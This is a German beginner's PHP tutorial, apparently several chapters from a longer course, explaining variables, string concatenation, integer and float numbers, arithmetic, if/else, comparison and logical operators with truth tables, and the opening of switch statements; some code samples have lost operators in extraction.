Damit Variablen in PHP als solche erkannt werden, müssen sie besonders gekennzeichnet werden. Daher beginnen alle Variablen in PHP mit dem Dollarzeichen $. Danach müssen sie mit einem Buchstaben oder Unterstrich _ beginnen. Nach dem ersten Zeichen können auch Ziffern im Variablennamen stehen. Variablen die mit einem Unterstrich anfangen haben meist eine besondere Bedeutung, der Entwickler sollte daher keine eigene Variablen definieren die mit einem Unterstrich anfangen.

<?php
$gueltig
$10_nicht_gueltig
?>

Variablen in PHP sind case-sensitiv, d.h. die Groß-/Kleinschreibung spielt eine Rolle und ist wichtig. Die Variable $foo ist eine andere als $FOO. Insbesondere bei den Superglobalen Variablen ist das wichtig, da diese z.B. $_GET lauten und nicht z.B. $_get.

3. Zuweisungsoperator

Um eine Variable mit einem Wert zu füllen wird der Zuweisungsoperator = verwendet. Dabei muss die Variable links vom Gleichheitszeichen stehen, der Wert der gespeichert werden soll rechts.

<?php
$var 
'Inhalt';
$_auch_gültig "anderer Inhalt";
$
123 "nicht gültig :(";
$eine_variable $andere_variable;
?>

Nachdem wir die Variablen mit Werten gefüllt haben können wir diese dann z.B. mit echo ausgeben.

<?php
$email 
'foo@example.com';
echo 
'Meine Emailadresse ist: ';
echo 
$email;
?>

Fragen zum Kapitel

1. Wie ist der syntaktische Aufbau einer Variablen?

Variablen müssen zuerst mit dem Dollarzeichen $ anfangen. Danach dürfen dann beliebige Buchstaben und der Unterstrich _ folgen. Nach dem ersten Variablenzeichen dürfen dann auch Zahlen verwendet werden. Umlaute sind auch als Variablennamen zulässig, auch wenn einige Editoren mit Syntaxhighlighting dies nicht richtig erkennen. Siehe dazu auch im Handbuch das Kapitel Variables.

Verkettungsoperator

  1. Verketten von Strings und Variablen

1. Verketten von Strings und Variablen

Ein Operator von PHP ist der Verkettungsoperator der als einzelner Punkt geschrieben wird (.). Dieser wird verwendet um zwei Ausdrücke miteinander zu verbinden.

<?php
'Max'.'Mustermann'// erzeugt den String "MaxMustermann"
?>

Dabei ist es egal ob es sich um Strings oder Variablen handeln die man verketten möchte. Auch Zahlen können so mit Strings verkettet werden.

<?php
'Foo'.'Bar';
'Bla'.$var;
$var1.$var2;
?>

Bei diesen Beispiel-Codes wurde zwar die Verkettung ausgerechnet, doch das Ergebnis wurde nicht verwendet. Da das ganze auch wieder als Ausdruck gilt kann es z.B. in eine Variable gespeichert werden oder direkt mit echo ausgegeben werden.

<?php
$texte 
'Foo'.'Bar';
echo 
$variable.'String';
?>

Die Anzahl der Verkettungen ist unbegrenzt. PHP verkettet intern dabei stehts weiterhin 2 Ausdrücke miteinander und nutzt das Ergebnis für die nächste Verkettung.

<?php
$name 
$vorname.' '.$nachname;
// vorname + ein leerzeichen + nachname
echo 'Ich heiße '.$name.', guten Tag.';
?>

Es gibt einige Stolperfallen wenn man Variablen an Strings anhängen möchte, die Strings jedoch single quotes und double quotes enthalten. Besonders im Bezug auf Strings mit HTML-Code entstehen einige Fehler.

<?php
// man wollte ein link <a href="index.php?section=XYZ">Link</a> haben, wobei
// XYZ aus einer Variablen gefüllt wird.
$var 'XYZ';
echo 
'<a href="index.php?section='.$var.'">Link</a>';   // eine richtig Möglichkeit
echo "<a href=\"index.php?section=\".$var.\">Link</a>";
// dies würde <a href="index.php?section=".XYZ.">Link</a> ausgeben, also nicht das was man möchte
echo '<a href="index.php?section=".$var.">Link</a>';
// dies würde <a href="index.php?section=".$var.">Link</a> ausgeben
?>

Viele irritiert die Tatsache dass man z.B. hier nach der Variable sowas wie .'" oder sogar ."\" schreiben muss. Jedoch muss man bedenken dass man nach dem Punkt . wieder einen neuen String benutzen will, in der man dann wieder escapen muss. Um diesen Stolperstein zu umgehen erzeugt man zuerst den HTML-Code komplett ohne Variable und fügt dann erst durch den Verkettungsoperator die Variable ein. Dabei muss man drauf achten welchen Stringtyp man verwendet hat, single quoted oder double quoted.

<?php
echo '<a href="index.php?section=XYZ">Link</a>';
//                               ^^^
//                 zuerst durch  '..'  ersetzen (was erstmal falsch ist)
//                                 |
//                                 V
echo '<a href="index.php?section='..'">Link</a>';
//                                ^^
//                  und dann die Variable einfügen
//                                   |
//                                   V
echo '<a href="index.php?section='.$var.'">Link</a>';
?>

Mit sprintf gibt es noch elegantere Möglichkeiten wie man den Inhalt einer Variablen in einen String bekommt.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Zahlen

  1. Datentyp Zahlen
  2. Integer-Zahlen
  3. Float-Zahlen
  4. Speicherverwaltung von Integer- und Float-Zahlen

1. Datentyp Zahlen

Wenn man in seinen PHP-Skripten mit Variablen(inhalten) rechnen möchte muss man dazu einen Datentyp benutzen der dazu dient Zahlen darzustellen. Eine naive Möglichkeit ist es die Zahlen in Strings zu schreiben und damit zu rechnen.

<?php
echo "5"+"9";
?>

Dies gibt wie erwartet 14 aus. Hier haben wir jedoch Strings miteinander addiert. In der Regel klappt dies nicht, hier hat jedoch Typecasting zugeschlagen und die Strings vorher in echte Zahlen umgewandelt. Für Zahlen gibt es in PHP zwei Datentypen. Dies sind einmal Integer-Zahlen und einmal Float-Zahlen.

2. Integer-Zahlen

Integer-Zahlen sind ganzzahlige Werte, enthalten also kein Nachkommastellen. Beispiele sind 5, 31 oder 199, aber auch negative Zahlen wie -1, -10 oder -44. In PHP schreibt man Integer-Zahlen einfach in den Quelltext, der PHP-Interpreter erkennt diese Ziffernfolge als Zahl.

<?php
$var 
5;
$var2 31;
$var3 = -10;
?>

Es ist auch möglich Integer-Zahlen in Hexadezimaler- und Oktaler-Notation anzugeben, wenn man denn die Umrechnung im Kopf hat. Für die hexadezimaler Schreibweise verwendet man den Präfix 0x, für die oktaler Schreibweise hingegen nur den Präfix 0 (normale Integer-Zahlen starten direkt mit der höchsten Ziffer oder sind eh nur die Zahl 0).

<?php
$var 
0xFF// hexadezimal (255), oft bei protokollen verwendet
$var2 0763// octal (499), oft bei chmod verwendet
$var3 0// normale null, hier ist es eh egal ob hex-, oct- oder dezimal
?>

3. Float-Zahlen

Float-Zahlen sind Werte mit Nachkommastellen, Beispiele davon sind 5.7, 12.25 oder -4.07, aber auch 10.0, 3.1E-10 oder 4.5e3.

<?php
$var 
5.7;
$var2 3.1E-10;
$var .1;
?>

Float-Zahlen erkennt man an den Dezimalpunkt ., des Weiteren wird nicht ein Kommata (,) für die Nachkommastellen verwendet. Da der Punkt jedoch auch für die String-Verkettung benutzt wird muss man hier ein wenig aufpassen, wenn man Float-Zahlen mit Strings verketten will. Notfalls ist es nötig Klammern zu verwenden.

<?php
echo 'Prozentualer Anteil:'.77.3.'%'// wird nicht klappen
echo 'Prozentualer Anteil:'.(77.3).'%'// klappt
echo 'Prozentualer Anteil:'77.3 .'%'// klappt, die Leerzeichen "helfen" hier php beim parsen
?>

4. Speicherverwaltung von Integer- und Float-Zahlen

Nun fragt man sich warum es Integer- und Float-Zahlen gibt wo doch Float-Zahlen mehr können. Die Verwendung und die Logik in der Speicherung beider Datentypen ist jedoch eine andere. Integer-Zahlen werden z.B. relativ einfach abgespeichert. Nehmen wir an eine Integer-Zahl soll in ein 64 Bit Feld gespeichert werden. Davon geht dann schonmal 1 Bit für das Vorzeichen drauf (mehr oder weniger, hat was mit Zweierkomplement zu tun). Die restlichen 63 Bits stehen dann für eine bestimmte Wertigkeit. Wenn an den Bits eine 1 steht so besitzt diese Integer-Zahl diese Wertigkeit. Die Summe aller Wertigkeiten die gesetzt sind bilden dann den Betrag der Zahl und mit dem Vorzeichenbit wird dann die komplette Zahl dargestellt. Die Wertigkeit startet dabei von 2^0 (1) und geht bis 2^62 (4611686018427387904). Die Zahl 50 wird z.B. in die Wertigkeiten 32, 16 und 2 aufgeteilt (wie man sieht sind das Zweierpotenzen). Auf Bits runtergerechnet sind das die Bits 1 (2^1 = 2), 4 (2^4 = 16) und 5 (2^5 = 32). Diese werden dann in dem 64 Bit Feld gesetzt.

Gesetzen Bits der Integerzahl 50 (vereinfacht) Abb.:Gesetzen Bits der Integerzahl 50 (vereinfacht)

Integer-Zahlen werden jedoch üblicherweise Trickreicher im sog. Zweierkomplement abgespeichert.

Bei den Float-Zahlen geht man einen anderen Weg. Da sie auch Nachkommastellen speichern können können wir solche Wertigkeiten erstmal nicht benutzen. Float-Zahlen werden in den IEEE 754 Standard gespeichert. Z.b. werden von den 32 Bits 1 Bit fürs Vorzeichen verwendet, 8 Bits für den Exponent und 23 Bits für die Mantisse. Zuerst wird mit der Mantisse eine Nachkommazahl dargestellt, die mehr oder weniger zwischen 0 und 1 liegt. Dann wird zu dieser Zahl eine 2er Potenz draufmultipliziert. Der Exponent wird dabei aus den 8 Bits gebildet. Je nach verwendeten Standard wird diese Mantisse, die zwischen 0 und 1 liegt, nach links (wenn der Faktor sehr groß ist, z.B. 2^50) oder nach rechts (wenn der Faktor sehr klein ist, z.B. 2^-50) verschoben. Mit dem Vorzeichenbit endsteht dann eine komplette Zahl. Letzendlich kann man also nicht jede beliebige Kommazahl darstellen sondern nur einen bestimmten Bereich der Kommazahl, da man nur einen 6-7 Ziffern großen Nachkommawert hin und her verschiebt. Für die meisten Sachen reicht diese Idee, in der Mathematik macht man es ja auch nicht anders (der LKW wiegt 31,6 Tonnen statt 31,6453903197 Tonnen).

Fragen zum Kapitel

1. Welche beiden Zahlentypen gibt es?

Es gibt Integer-Zahlen für ganzzahlige Werte und Float-Zahlen für Werte mit Nachkommastellen.

Rechnen mit Zahlen

  1. Rechenoperatoren

1. Rechenoperatoren

Um einfache Rechenoperationen auszuführen gibt es in PHP 6 Rechenoperatoren. Das sind einmal die 4 Grundrechenarten +, -, * und / (/ ist teilen, da in PHP : schon verwendet wird, aber auch weil in allen anderen Programmiersprachen teilen durch / dargestellt wird), und dann noch der --Operator der eine Zahl negiert und der %-Operator der den ganzzahligen Rest einer Division bestimmt (man erinnert sich an die 1. oder 2. Schulklasse, 20:7 = 2 Rest 6).

<?php
$a 
10;
$b 6;
echo 
$a-$b;   // 4
echo $a+$b;   // 16
echo $a*$b;   // 60
echo $a/$b;   // float(1.66666666667)
echo -$a;     // -10, analog würde natürlich auch echo 0-$a; gehen
echo $a%$b;   // 4 (6 passt einmal in 10, Rest ist 4)
?>

Für kompliziertere Berechnungen gibt es eine Menge mathematischer Funktionen, alle zu finden im Handbuch unter Mathematical Functions. Insbesondere ist pow eine solche Funktion, die eine Potenz errechnet (x hoch y). Anfänger versuchen jedoch ^ (für hoch) im PHP-Skript zu verwenden und wundern sich warum falsche Ergebnisse herauskommen. Das Zeichen ^ ist in PHP zwar ein gültiger Operator (erwartet also Zahlen), berechnet jedoch was komplett anderes (konkret die Bitweise XOR-Verknüpfung der Zahlen).

<?php
$basis 
5;
$exponent 7;
echo 
$basis^$exponent;        // gibt 2 aus, also absolut nicht das was man wollte
echo pow($basis$exponent);  // gibt 78125 aus 
?>

Dies jedoch nur am Rande, wurde aber erwähnt da es doch manchmal bei Anfängern auftritt.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Kontrollstrukturen

  1. Datentyp Boolean
  2. Kontrollstrukturen
  3. Alternative Ausführung
  4. Stolperfalle if();

1. Datentyp Boolean

In PHP gibt es einen Datentyp der theoretisch nur ein einzelnes Bit Speicherplatz benötig. Mit einem Bit können nur die zwei verschiedenen Wert 0 und 1 dargestellt werden. In Programmiersprachen spricht man eher von den Werten true (für 1) und false (für 0). Dieser Datentyp wird dazu verwendet um zu sagen ob etwas stimmt oder nicht. Umgs. sagt man etwas ist wahr oder etwas ist falsch.

In PHP werden die Programmcodes true und false verwendet um die entsprechenden boolischen Werte darzustellen. Groß- und Kleinschreibung ist dabei egal, jedoch wird oft die kleingeschriebene Schreibweise verwendet.

<?php
$var 
true;
$var2 false;
$var3 TRUE;
$var4 FaLsE;

$var5 'true'// dies ist der 4 zeichen lange String 'true', nicht der boolische wert true
?>

In PHP-Skripten wird dieser Datentyp für Kontrollstrukturen verwendet. Dadurch wird entschieden welcher Programmteil in einem Skript ausgeführt wird und welcher nicht.

2. Kontrollstrukturen

Kontrollstrukturen in PHP werden dazu verwendet den Programmfluss zu steuern. Die Steuerung ist dabei die Frage ob ein Programmcode ausgeführt werden soll oder nicht. Dazu verwendet man den Sprachkonstrukt if. Der Aufbau ist dabei wie folgt.

<?php
if (ausdruckanweisung
?>

Der Ausdruck wird von PHP verarbeitet und muss einen Wert zurückliefern. Dieser wird dann geprüft ob er dem boolischen Wert true entspricht. Wenn dies der Fall ist wird die folgende Anweisung ausgeführt. In den seltesten Fällen will man eine einzelne Anweisung steuern, daher gruppiert man mehrere Anweisungen mit den geschweiften Klammern { und } zusammen.

<?php
if (ausdruck) {
    
anweisung_1;
    
anweisung_2;
    
// ...
    
anweisung_n;
}
?>

Der zu prüfende Ausdruck kann dabei auch aus mehreren Ausdrücken zusammengesetzt werden, die dann mit den gängigen logischen Verknüpfungen and, or ! und xor verbunden werden.

3. Alternative Ausführung

Wenn man nun Programmteile mit einer if-Abfrage steuert möchte man manchmal auch einen alternativen Programmteil aufrufen falls die if-Abfrage nicht aufgerufen wurde. Bei einem Login heißt dies z.B. Wenn der Login gültig ist zeige den Adminbereich, sonst zeige das Loginformular. In PHP wird dies mit dem Schlüsselwort else realisiert, welches zu einem vorherigen if gehören muss.

<?php
if (login_gueltig) {
    
// zeige adminbereich
} else {
    
// zeige loginformular
}
?>

Analog könnte man auch ein neue if-Abfrage hinzufügen und den Ausdruck negieren.

<?php
if (login_gueltig) {
    
// zeige adminbereich
}
if (!
login_gueltig)
    
// zeige loginformular
}
?>

Dieser Programmierstil ist jedoch nicht zu empfehlen und kann in manchen Fällen sogar gar nicht möglich sein.

So eine alternative Programmausführung kann sogar mit elseif Strukturen erweitert werden. Dies ist ein Block der zwischen den if- und else-Block eingefügt wird und auch ein Ausdruck zum kontrollieren enthält.

<?php
if (cond) {
    
// tu was
} elseif (andere_cond) {
    
// mach jenes
} else {
    
// mach dies
}
?>

Dieser elseif Teil wird dann ausgeführt/geprüft wenn die vorherige If-Abfrage false ergab. Es können dabei auch mehrere elseif-Teile verwendet werden.

<?php
if (cond) {
    
// tu was
} elseif (andere_cond) {
    
// mach jenes
} elseif (und_andere_bedingung) {
    
// mach das
} elseif (bedingung) {
    
// php-code
} else {
    
// mach dies
}
?>

Die Bedingung die zuerst eintrifft wird dann ausgeführt und nur diese. Wenn keine Bedingung zutrifft wird der else-Teil ausgeführt.

4. Stolperfalle if();

Auch wenn if () aussieht wie ein Funktionsaufruf, es ist keiner. Ein Semikolon am Ende ist nicht nur fehlplaziert sondern unterbindet auch die korrekte Arbeitsweise die eigentlich erwartet wird. Als Beispiel nehmen wir folgenden Quellcode.

<?php
if (false); // <-- man beachte das ;
    
echo 'Foobar';
?>

Obwohl die Bedingung false ist wird die echo-Anweisung ausgeführt. Die If-Abfrage steuert nur die nächste Anweisung bzw. den nächsten Programmblock innerhalb von geschweiften Klammern. In diesem Fall ist es nicht die echo 'Foobar'; Zeile sondern das einzelne ; hinter der If-Abfrage. Der Quellcode sieht eigentlich wie folgt aus.

<?php
if (false)
    ;
echo 
'Foobar';
?>

Oder um es noch deutlicher zu machen.

<?php
if (false) {
    ;
}
echo 
'Foobar';
?>

Hier sieht man das die If-Abfrage nur eine leere Anweisung steuert, die Echo-Anweisung ist davon unberührt.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Vergleichsoperatoren

  1. Vergleichsoperator ==
  2. Andere Vergleichsoperatoren
  3. Zuweisung vs. Vergleichsoperator

1. Vergleichsoperator ==

Um zwei Werte auf Gleichheit zu testen verwendet man in PHP den == Operator. Auf beiden Seiten des Operators werden die Inhalte hingeschrieben die man vergleichen möchte. Diese können Variablen sein oder auch direkte Werte. PHP wertet dann einen solchen Ausdruck in einen boolischen Wert um, das Ergebnis ist somit entweder false oder true. Dieses Ergebnis kann dann später weiterverwendet werden, wie z.B. in Fallunterscheidungen und Kontrollflußstrukturen.

<?php
"max" == "müller";        // ergibt bool(false), das Ergebnis wurde jedoch nicht verwendet/gespeichert
$check "max" == $var;   // prüft den Inhalt und speichert true oder false in $check
var_dump('foo' == 'bar'); // gibt bool(false) aus
?>

2. Andere Vergleichsoperatoren

Neben == gibt es noch weitere Vergleichsoperatoren. Für Zahlen existieren zusätzlich die Operatoren <, <=, > und >= die entsprechend das Prüfen was die Zeichen darstellen und wie man sie im täglichen Sprachgebrauch benutzt.

<?php
$var 
7;     // ist true
$var 10 <= 10;  // ist true
$var 9;     // ist falsch
?>

Dann gibt es noch den Ungleichoperator != um zu prüfen ob zwei Werte unterschiedlich sind.

<?php
$var 
10 != 10;  // false
$var != 1;    // true, da verschieden
?>

Als Steigerung der Vergleichsoperatoren == und != gibt es noch die Operatoren === und !==. Dabei wird neben den Wert auch der Typ überprüft. Somit sind die Werte "10" (als String) und 10 (als Integer) gleich wenn man == verwendet, jedoch unterschiedlich wenn man === verwendet.

<?php
$var 
== "5";  // ist true
$var === "5"// ist false, da int != string

$var 'Max' == "Max";  // ist true, obwohl single quote string und double quote string
$var 'Max' === "Max"// auch true, beide haben die gleichen Stringinhalte und beide sind vom Typ String
?>

Dieses Wissen braucht man bei Funktionen die z.B. bei einem Fehlverhalten den boolischen Wert false zurückliefern jedoch aber auch Werte zurückliefern die mit dem == Operator auch als false angesehen werden (wie z.B. die 0).

<?php
$var 
false == 10// false, da ungleich
$var false ==  0// true, obwohl das eine eine Zahl und das andere ein boolean ist

$var false === 10// nichts geändert, false
$var false ===  0// diesmal false, da int != boolean ist
?>

3. Zuweisung vs. Vergleichsoperator

Typische Probleme bei dem Vergleichsoperator besteht wenn man ausversehen ein Gleichheitszeichen vergisst und dann eine Zuweisung anstelle des Vergleichs hat. Die PHP-Skripte sind dann meistens syntaktisch richtig, berechnen aber nicht das was der Autor wollte.

<?php
$check 
$name == 'Max'// prüft den Inhalt von $name gegen den String 'Max' und speichert
                         // true in $check
$check $name 'Max';  // speichert den Wert 'Max' in $name (insbesondere wird
                         // dann $name überschrieben) und das Ergebnis (die Zuweisung)
                         // wird dann in $check gespeichert (enthält dann auch den String 'Max')
?>

Besonders ärgerlich ist dies in einer If-Abfrage, wo man ein Variableninhalt prüfen wollte, jedoch stets eine Zuweisung macht und somit, neben der fehlerhaften If-Abfrage, ungewollt die zu prüfende Variable verändert. Daher sollte man stehts genau prüfen ob man eine Zuweisung oder ein Vergleich hat und was man eigentlich haben möchte. Um diesen Stolperstein entgegen zu wirken schreibt man bei einem Vergleich den konstanten Wert links vom Vergleichoperator.

<?php
"Max" == $name;
?>

Somit wird sichergestellt das hier nur der Vergleichsoperator verwendet werden kann denn eine Zuweisung in einen konstanten String ist nicht möglich. PHP erzeugt hier dann eine Fehlermeldung der Form Parse error: syntax error, unexpected '=' in .... Einen Parse Error zu haben und zu korrigieren ist besser als keinen Fehler zu haben und stundenlang nach dem Fehler zu suchen.

<?php
$check 
"Max" == $name// prüfen und true/false in $check speichern
$check $name "Max";  // könnte nicht als Fehlerursache erkannt werden
$check "Max" $name;  // Zuweisung in einen String klappt nicht -> Fehlermeldung
?>

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Logische Verknüpfungen

  1. Verbinden von unterschiedlichen Bedingungen
  2. AND-Verknüpfung
  3. OR-Verknüpfung
  4. NOT-Operator
  5. NAND-Verknüpfung
  6. NOR-Verknüpfung
  7. XOR-Verknüpfung
  8. XNOR-Verknüpfung
  9. Vereinfachungsregeln

1. Verbinden von unterschiedlichen Bedingungen

Eine Überprüfung eines Sachverhalts ist manchmal aus mehreren unabhängigen Bedingungen zusammengesetzt. In PHP können diese atomaten Bedingungen (z.B. Vergleiche oder schon vorher berechnete boolische Ausdrucke) miteinander kombiniert werden um eine gewünschte Abfrage zu erhalten. Theoretisch gibt es für 2 Variablen 16 verschiedene Funktionen, die für 2 Werte true oder false zurückliefern. In der realen Welt verwendet man üblicherweise nur 7 solcher Kombinationen/Funktionen die sich in 3 Grundkombinationen und 4 erweiterte Kombinationen aufteilen. PHP implementiert davon 4, alle anderen Kombinationen können jedoch aus Kombinationen dieser Grundfunktionen von Hand dargestellt werden.

2. AND-Verknüpfung

Die AND-Verknüpfung ist die einfachste logische Verknüpfung. Das Ergebnis solch einer Verknüpfung liefert true wenn beide Argumente true sind. Im Sprachgebrauch verwendet man AND intuitiv genau so, wie z.B. bei Du darfst draußen spielen wenn du deine Hausaufgaben gemacht hast und dein Zimmer aufgeräumt ist. In PHP wird diese Verknüpfung mit dem AND-Operator realisiert.

<?php
$var 
false and false;  // erzeugt false
$var false and true;   // erzeugt false
$var true  and false;  // erzeugt false
$var true  and true;   // erzeugt true
$spielen $hausaufgaben_fertig and $zimmer_aufgeraeumt;
?>

Dies kann man auch in einer Wahrheitstabelle darstellen, eine gängige Entwurfstechnik.

Wahrheitstabelle von AND
Argument 1 (A) Argument 2 (B) Ergebnis (Q)
0 0 0
0 1 0
1 0 0
1 1 1

In der Digitaltechnik verwendet man besondere Diagramme die diese Verkettungen benutzen. Eine AND-Verknüpfung hat z.B. folgende Darstellung.

AND-Verknüpfung als Schaltzeichen Abb.:AND-Verknüpfung als Schaltzeichen

Anhand des &-Zeichen erkennt man auch dass es sich hierbei um eine AND-Verknüpfung ist. Links sind die beiden Eingänge (könnten übrigens auch mehr sein, PHP kann jedoch nur 2 verwalten) A und B und rechts ist der Ausgang Q.

3. OR-Verknüpfung

Eine OR-Verknüpfung ist die zweite Standardverknüpfung in PHP der mit dem Schlüsselwort or realisiert wird. Der natürliche Sprachgebrauch ist jedoch irreführend bei einer OR-Verknüpfung. Eine Fußgängerampel schaltet auf grün wenn der eine Knopf oder der andere Knopf gedrückt wird. Umbewusst spricht man hier jedoch von einem exklusiven Ausschluss, entweder den einen oder den anderen Knopf drücken. Jedoch würde die Ampel rein theoretisch auch schalten, wenn beide Knöpfe gleichzeitig gedrückt werden. Und so arbeitet auch der or-Operator. Er liefert true wenn mindestens einer der beiden Werte/Parameter true sind.

<?php
$var 
false or false// liefert false
$var false or true;  // liefert true
$var true  or false// liefert true
$var true  or true;  // liefert true

$gruen_schalten $knopf1 or $knopf2;
?>

Die Wahrheitstabelle sieht wie folgt aus

Wahrheitstabelle der OR-Verknüpfung
Argument 1 (A) Argument 2 (B) Ergebnis (Q)
0 0 0
0 1 1
1 0 1
1 1 1

In der Digitaltechnik verwendet man folgendes Schaltzeichen.

OR-Verknüpfung als Schaltzeichen Abb.:OR-Verknüpfung als Schaltzeichen

Wenn man die Eingänge mit 0 oder 1 belegt, sieht man den Sinn an >=1. Wenn man also die Eingünge zusammen addiert so muss man mit der Summe über 0 kommen damit am Ausgang eine 1 kommt.

4. NOT-Operator

Der NOT-Operator ist ein Operator der nur einen Wert benötigt, nicht wie die anderen beiden Operatoren zwei. Daher gibt es auch nur 2 mögliche Kombinationen, entweder der Wert für den Parameter ist true oder false. In PHP wird dieser Operator mit dem Zeichen ! erzeugt, der zu prüfende Wert wird dann dahinter geschrieben. Das Ergebnis dieses Operators ist die Negation vom verwendeten Wert. Also aus true wird false und umgekehrt. Nehmen wir als Beispiel eine Laplace-Münze. Diese fällt entweder auf Kopf oder Zahl. Wenn sie auf Kopf fällt kann sie nicht auf Zahl fallen und umgekehrt.

<?php
$ist_kopf 
= !$ist_zahl;
?>

Dieses ! hat man schon bei den Vergleichsoperatoren != und !== kennengelernt. Letzendlich könnte man diese Operatoren auch wie folgt schreiben.

<?php
$var 
$x != $y;    // mit !=
$var = !($x == $y); // mit !(==) (Klammer sind nötig sonst wird nur die Variable $x negiert)
?>

Die Wahrheitstabelle fällt entsprechend kürzer aus.

Wahrheitstabelle des NOT-Operators
Argument (A) Ergebnis (Q)
0 1
1 0

In der Digitaltechnik wird folgendes Schaltzeichen verwendet.

NOT-Verknüpfung als Schaltzeichen Abb.:NOT-Verknüpfung als Schaltzeichen

Wichtig hierbei ist nicht die 1 (das ist mehr oder weniger ein neutrales Element wie die 1 für eine Multiplikation oder 0 für eine Addition) sondern der kleine Kreis hinter dem Schaltzeichen. Er zeichnet die eigentliche Negation an, in diesem Fall am Ausgang des Elements. Dies heißt auch das der Kreis für ein Eingang verwendet werden kann, dass das logische Signal (1/0 bzw. true/false) negiert.

5. NAND-Verknüpfung

Neben den 3 Grundverknüpfungen ist NAND ein erweiterte Verknüpfung. Sie wird aus den Grundverknüpfungen AND und NOT gebildet. In PHP gibt es kein solchen Operator kann aber entsprechend zusammengebaut werden.

<?php
$check 
= !($var1 and $var);    // AND -> NOT = NAND
$check = !$var1 and $var;      // kein NAND, hier wird erst $var1 negiert und
                               // dann zu 'and' gepackt.
?>

In der Digitaltechnik wird folgendes Schaltzeichen verwendet.

NAND-Verknüpfung als Schaltzeichen Abb.:NAND-Verknüpfung als Schaltzeichen

Anhand des Schaltzeichens erkennt man auch die Verkettung der Verknüpfungen AND und NOT. Die Tabelle zeigt auch die interne Verkettung dieser Operatoren.

Wahrheitstabelle des NAND-Operators
Argument 1 (A) Argument 2 (B) Ergebnis (Q)
0 0 1
0 1 1
1 0 1
1 1 0

6. NOR-Verknüpfung

Die NOR-Verknüpfung ist eine weitere erweiterte Verknüpfung, die selbe wie NAND nur in grün, also OR und NOT verkettet. PHP kennt für diese Art der Verknüpfung auch keinen eigenen Operator und wird entsprechend auch mit or und ! erzeugt.

<?php
$check 
= !($var1 or $var);    // OR -> NOT = NOR
$check = !$var1 or $var;      // kein NOR, hier wird erst $var1 negiert und
                               // dann zu 'or' gepackt.
?>

Und auch in der Digitaltechnik verwendet man die selbe Idee wie beim NAND.

NOR-Verknüpfung als Schaltzeichen Abb.:NOR-Verknüpfung als Schaltzeichen

Die Wahrheitstabelle ist auch entsprechend aufgebaut.

Wahrheitstabelle des NOR-Operators
Argument 1 (A) Argument 2 (B) Ergebnis (Q)
0 0 1
0 1 0
1 0 0
1 1 0

7. XOR-Verknüpfung

Die dritte erweiterte Verknüpfung ist die XOR-Verknüpfung. Sie arbeitet wie eine OR-Verknüpfung, jedoch darf nur ein Wert true sein. Wenn beide Werte true sind liefert diese Verknüpfung false.

<?php
$check 
= ($var1 and !$var2) or (!$var1 and $var2);
?>

Da niemand bereit ist so eine Verkettung von bereits vorhandenen Verknüpfungen hinzuschreiben gibt es in PHP dafür die Verknüpfungszeichenkette xor. Das x steht dabei für exclusive.

<?php
$check 
false xor false;  // false
$check true  xor false;  // true
$check false xor true;   // true
$check true  xor true;   // false

$geschlecht_gueltig $ist_m xor $ist_w;
?>

In der Digitaltechnik gibt es auch ein eigenes Schaltzeichen.

XOR-Verknüpfung als Schaltzeichen Abb.:XOR-Verknüpfung als Schaltzeichen

Das =1 deutet an, dass die Summe nur 1 sein darf (wenn man denn im Kopf die Werte zusammenaddiert). Dies entspricht also genau dem Verhalten einer XOR-Verknüpfung.

Wahrheitstabelle des XOR-Operators
Argument 1 (A) Argument 2 (B) Ergebnis (Q)
0 0 0
0 1 1
1 0 1
1 1 0

8. XNOR-Verknüpfung

Die XNOR-Verknüpfung ist wiederum sehr einfach. Es ist einfach eine Negation der XOR-Verknüpfung, wird genauso realisiert und genauso dargestellt.

<?php
$check 
= !(false xor false); // true
$check = !(false xor  true); // false
$check = !(true  xor false); // false
$check = !(true  xor true ); // true
?>

Das Schaltzeichen in der Digitaltechnik sieht dann entsprechend aus.

XNOR-Verknüpfung als Schaltzeichen Abb.:XNOR-Verknüpfung als Schaltzeichen

Und die Wahrheitstabelle auch.

Wahrheitstabelle des XNOR-Operators
Argument 1 (A) Argument 2 (B) Ergebnis (Q)
0 0 1
0 1 0
1 0 0
1 1 1

9. Vereinfachungsregeln

In der Digitaltechnik gibt es einige Rechenregeln mit denen man längere boolische Ausdrücke vereinfachen kann. Diese kann man ggf. auch auf PHP-Skripte anwenden.

<?php
$check 
true  and $var/* ist das selbe wie: */ $check $var;  // da das true 'nichts bringt'
$check false and $var/* ist das selbe wie: */ $check false// da bereits ein false drin ist
$check true  or  $var/* ist das selbe wie: */ $check true;  // da bereits ein true drin ist
$check false or  $var/* ist das selbe wie: */ $check $var;  // da das false 'nichts bringt'
?>

Dann gibt es z.B. noch sowas wie Doppelnegation.

<?php
$check 
= !(!$check); // ähnlich wie 'minus mal minus ergibt plus'
?>

Wichtiger sind jedoch die De Morgansche Gesetze. Bei einem bestimmten Aufbau von einer AND- oder OR-Verknüpfung kann man diese Verknüpfungen in eine OR- oder AND-Verknüpfung umschreiben.

<?php
$check 
= !$var1 and !$var2;
$check = !($var1 or $var2); // das gleiche

$check = !($var1 and $var2);
$check = !$var1 or !$var2;  // das gleiche
?>

Man zieht also die Negation rein bzw. raus und muss dabei die Verknüpfung von AND auf OR (bzw. umgekehrt) ändern. Dies macht man in seinen Skripten um die Lesbarkeit zu erhöhen.

<?php
$ueberspringen 
= !(('.' != $var) and ('..' != $var));   // was prüf ich hier nun? es soll nicht gleichzeitig zwei werte gelten? hä?
$ueberspringen = !(!(('.' == $var) or ('..' == $var))); // doppelnegation auflösen
$ueberspringen = ('.' == $var) or ('..' == $var);       // achso... das ist lesbarer...
?>

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Switch-Abfragen

  1. Switch-Abfragen

1. Switch-Abfragen

Bei einer switch-Abfrage handelt es sich um eine spezielle Art der Kontrollstruktur. Im Gegensatz zu einer if-Abfrage kann mit einer switch-Abfrage nur ein direkter Vergleich mit einem Wert durchgeführt werden. Wo es mit if möglich ist komplexe Abfragen mit logischen Verknüpfungen zu erzeugen verwendet eine switch-Abfrage intern nur den Vergleichsoperator ==.

Eine Switch-Abfrage wird mit dem Schlüsselwort switch eingeleitet. Danach folgt in runden Klammern den Ausdruck der geprüft werden soll, üblicherweise eine Variable. Danach folgt der Switchrumpf, eingeleitet und beendet durch geschweifte Klammern ({}).

<?php
switch ($var) {
}
?>

